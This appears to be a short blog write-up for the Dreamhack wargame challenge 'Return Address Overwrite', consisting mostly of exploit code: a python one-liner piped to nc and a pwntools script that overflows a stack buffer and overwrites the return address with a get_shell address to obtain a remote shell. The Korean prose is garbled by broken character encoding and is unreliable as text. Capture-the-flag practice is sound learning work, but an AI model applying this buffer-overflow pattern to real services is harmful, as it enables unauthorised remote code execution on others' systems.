Hacking/System Hacking
[dreamhack] Return Address Overwrite νμ΄
μ‘μ΄ π«§
2022. 3. 31. 16:44
Host: host1.dreamhack.games
Port: 10469/tcp
1. python 곡격 μ½λ μ΄μ©
(python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469
2. pwntools μ΄μ©
from pwn import *
p = remote('host1.dreamhack.games',10469) # μ격 μλ² λμμΌλ‘ μ΅μ€νλ‘μ μν
context.arch="amd64" # x86-64
payload = 'A' * 0x30
payload += 'B' * 0x08
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_shell address
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
flag μ»λ λ°©λ²